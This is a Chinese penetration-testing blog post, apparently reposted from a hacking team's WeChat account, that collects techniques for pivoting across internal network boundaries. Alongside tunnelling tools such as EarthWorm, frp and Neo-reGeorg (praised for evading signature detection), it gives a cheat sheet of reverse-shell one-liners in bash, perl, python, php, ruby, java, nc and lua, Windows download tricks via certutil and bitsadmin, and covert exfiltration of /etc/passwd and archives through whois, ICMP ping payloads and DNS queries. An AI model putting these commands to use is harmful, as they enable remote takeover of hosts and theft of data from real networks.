内网跨边界应用

admin 2022年7月26日22:02:36评论46 views字数 7502阅读25分0秒阅读模式




内网跨边界应用




前言

与内网渗透系列:内网穿透(隧道)学习可以互相补充

一、内网跨边界转发

1、NC端口转发

netcat瑞士军刀
参见Kali linux 学习笔记(四)基本工具熟悉——nc(netcat) 2020.2.14
powershell版:https://github.com/besimorhino/powercat

2、LCX端口转发

Go版:https://github.com/cw1997/NATBypass
C版:https://github.com/windworst/LCX
C++版:https://github.com/UndefinedIdentifier/LCX

3、nps

github:https://github.com/ehang-io/nps

支持tcp、udp、socks5、http等几乎所有流量转发,可用来访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析、内网socks5代理等等

4、frp

github:https://github.com/fatedier/frp

用Go写的,支持TCP和UDP,以及HTTP和HTTPS协议,同时也支持P2P,仍在持续更新

5、代理脚本

  • Tunna:https://github.com/SECFORCE/Tunna

  • reDuh:https://github.com/sensepost/reDuh

二、内网跨边界代理

1、EW

官网:http://rootkiter.com/EarthWorm/
github:https://github.com/rootkiter/Binary-files
下载:https://github.com/rootkiter/Binary-files/tree/bd3223082afbf88421fe391eb55b9eb2da7d533e

内网跨边界应用

十分方便的多级SOCKS代理,已经永久停止更新,五种管道:

  • ssocksd : 正向代理

  • rssocks : 反向代理

  • lcx_slave:该管道一侧通过反弹方式连接代理请求,另一侧连接代理提供主机

  • lcx_tran : 该管道通过监听本地端口代理请求,并转发给代理提供主机

  • lcx_listen : 该管道通过监听本地端口接收数据,并将其转发给目标网络回连的代理提供主机

(1)正向 SOCKS v5 服务器

./ew -s ssocksd -l 1080

(2)反弹 SOCKS v5 服务器

先在一台具有公网 ip 的主机A上运行以下命令:

$ ./ew -s rcsocks -l 1080 -e 8888 

在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口

$ ./ew -s rssocks -d 1.1.1.1 -e 8888 

(3)多级级联

$ ./ew -s lcx_listen -l 1080 -e 8888$ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999$ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999

lcx_tran 的用法

$ ./ew -s ssocksd -l 9999$ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999

lcx_listen、lcx_slave 的用法

$ ./ew -s lcx_listen -l 1080 -e 8888$ ./ew -s ssocksd -l 9999$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999


“三级级联”的本地SOCKS测试用例以供参考

$ ./ew -s rcsocks -l 1080 -e 8888$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999$ ./ew -s lcx_listen -l 9999 -e 7777$ ./ew -s rssocks -d 127.0.0.1 -e 7777


2、Termite

官网:http://rootkiter.com/Termite/
github:https://github.com/rootkiter/Binary-files/tree/bd3223082afbf88421fe391eb55b9eb2da7d533e
使用说明:https://rootkiter.com/Termite/README.txt

EarthWorm的升级版,已经永久停止更新

3、reGeorg

github:https://github.com/sensepost/reGeorg

SOCKS over HTTP,即通过HTTP隧道转发SOCKS,用Python写的,基于Python2.7和urllib3,上传一个Tunnel脚本,然后远程连接转发端口即可建立socket代理隧道

  • 对于aspx的网站假如总是报错,可以尝试ashx脚本

  • PHP程序确认php.ini中socket模块正常开启并且可用,reGeorge也提供了nosocket脚本

  • linux下利用proxychains,Windows下利用proxifier实现任意应用通过代理

  • 假如绑定某些端口会遇到socket无法建立连接时,尝试着利用80、53等穿透性强的端口

4、Neo-reGeorg

github:https://github.com/L-codes/Neo-reGeorg

重构版reGeorg,提高稳定性和可用性,避免特征检测,更新活跃

根据作者说法:

  • 传输内容经过变形 base64 加密,伪装成 base64 编码

  • 直接请求响应可定制化 (如伪装的404页面)

  • HTTP Headers 的指令随机生成,避免特征检测

  • HTTP Headers 可定制化

  • 自定义 HTTP 响应码

  • 多 URL 随机请求

  • 服务端 DNS 解析

  • 兼容 python2 / python3

  • 服务端环境的高兼容性

  • (仅 php) 参考 pivotnacci 实现单 Session 创建多 TCP 连接,应对部分负载均衡场景

  • aspx/ashx/jsp/jspx 已不再依赖 Session,可在无 Cookie 等恶劣环境正常运行

  • 支持内网转发,应对负载均衡环境

5、pystinger(毒刺)

github:https://github.com/FunnyWolf/pystinger

仍在更新,通过webshell实现内网SOCK4代理,端口映射
可直接用于metasploit-framework,viper,cobalt strike上线
主体使用python开发,当前支持php,jsp(x),aspx三种代理脚本

6、ABPTTS

github:https://github.com/nccgroup/ABPTTS

TCP over HTTP,即通过HTTP隧道转发TCP连接

  • 数据加密,可自定义HTTP数据

  • 对抗特征检测十分优秀

  • 创建的隧道十分稳定

  • 比较遗憾的是支持的web脚本类型只有aspx和jsp

三、shell反弹

1、bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

2、perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

3、python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

4、php

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

5、ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

6、java

r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])p.waitFor()

7、nc

#使用-e nc -e /bin/sh 223.8.200.234 1234 #不使用-emknod /tmp/backpipe p/bin/sh 0/tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe

8、lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('202.103.243.122','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

四、内网文件的传输和下载

1、wput

wput dir_name ftp://linuxpig:123456@host.com/

2、wget

wget http://site.com/1.rar -O 1.rar

3、ariac2(需安装)

aria2c -o owncloud.zip https://download.owncloud.org/community/owncloud-9.0.0.tar.bz2

4、powershell


5、vbs脚本

Set args = Wscript.ArgumentsUrl = "http://domain/file"dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")dim bStrm: Set bStrm = createobject("Adodb.Stream")xHttp.Open "GET", Url, FalsexHttp.Sendwith bStrm.type = 1 '.open.write xHttp.responseBody.savetofile " C:%homepath%file", 2 'end with

执行 :cscript test.vbs

6、Perl

#!/usr/bin/perl use LWP::Simple; getstore("http://domain/file", "file");

执行:perl test.pl

7、Python

#!/usr/bin/python import urllib2 u = urllib2.urlopen('http://domain/file') localFile = open('local_file', 'w') localFile.write(u.read()) localFile.close()

执行:python test.py

8、Ruby

#!/usr/bin/rubyrequire 'net/http'Net::HTTP.start("www.domain.com") { |http|  r = http.get("/file")  open("save_location", "wb") { |file|    file.write(r.body)  }}


执行:ruby test.rb

9、PHP

<?php$url  = 'http://www.example.com/file';$path = '/path/to/file';$ch = curl_init($url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);$data = curl_exec($ch);curl_close($ch);file_put_contents($path, $data);?>


执行:php test.php

10、NC

attacker

cat file | nc -l 1234


target

nc host_ip 1234 > file

11、FTP

ftp 127.0.0.1 username password get file exit


12、TFTP

tftp -i host GET C:%homepath%file location_of_file_on_tftp_server

13、Bitsadmin

bitsadmin /transfer n http://domain/file c:%homepath%file

14、Window 文件共享

net use x: 127.0.0.1share /user:example.comuserID myPassword

15、SCP

本地到远程

scp file user@host.com:/tmp

远程到本地

scp user@host.com:/tmp file

16、rsync

远程rsync服务器中拷贝文件到本地机

rsync -av root@192.168.78.192::www /databack

本地机器拷贝文件到远程rsync服务器


rsync -av /databack root@192.168.78.192::www

17、certutil.exe

certutil.exe -urlcache -split -f http://site.com/file

18、copy

copy \IPShareNamefile.exe file.exe

19、WHOIS

接收端 Host B:

nc -vlnp 1337 | sed "s/ //g" | base64 -d

发送端 Host A:

whois -h host_ip -p 1337 `cat /etc/passwd | base64`

20、WHOIS + TAR

First:

ncat -k -l -p 4444 | tee files.b64  #tee to a file so you can make sure you have it


Next

tar czf - /tmp/* | base64 | xargs -I bits timeout 0.03 whois -h host_ip -p 4444 bits

Finally

cat files.b64 | tr -d 'rn' | base64 -d | tar zxv #to get the files out

21、PING

发送端:

xxd -p -c 4 secret.txt | while read line; do ping -c 1 -p $line ip; done

接收端 ping_receiver.py:

import sys
try: from scapy.all import *except: print("Scapy not found, please install scapy: pip install scapy") sys.exit(0)

def process_packet(pkt): if pkt.haslayer(ICMP): if pkt[ICMP].type == 8: data = pkt[ICMP].load[-4:] print(f'{data.decode("utf-8")}', flush=True, end="", sep="")
sniff(iface="eth0", prn=process_packet)
python3 ping_receiver.py


22、DIG

发送端:

xxd -p -c 31 /etc/passwd | while read line; do dig @172.16.1.100 +short +tries=1 +time=1 $line.gooogle.com; done

接收端dns_reciver.py:

try:    from scapy.all import *except:    print("Scapy not found, please install scapy: pip install scapy")
def process_packet(pkt): if pkt.haslayer(DNS): domain = pkt[DNS][DNSQR].qname.decode('utf-8') root_domain = domain.split('.')[1] if root_domain.startswith('gooogle'): print(f'{bytearray.fromhex(domain[:-13]).decode("utf-8")}', flush=True, end='')
sniff(iface="eth0", prn=process_packet)
python3 dns_reciver.py


五、搭建 HTTP server

python2

python -m SimpleHTTPServer 1337

python3

python -m http.server 1337

PHP 5.4+

php -S 0.0.0.0:1337

ruby

ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start'ruby -run -e httpd . -p 1337

Perl

perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET /(.*) / })'

busybox httpd

busybox httpd -f -p 8000

结语

见识了好些内网跨边界方法,回头细学下






红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。


原文始发于微信公众号(红客突击队):内网跨边界应用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月26日22:02:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网跨边界应用http://cn-sec.com/archives/1202726.html

发表评论

匿名网友 填写信息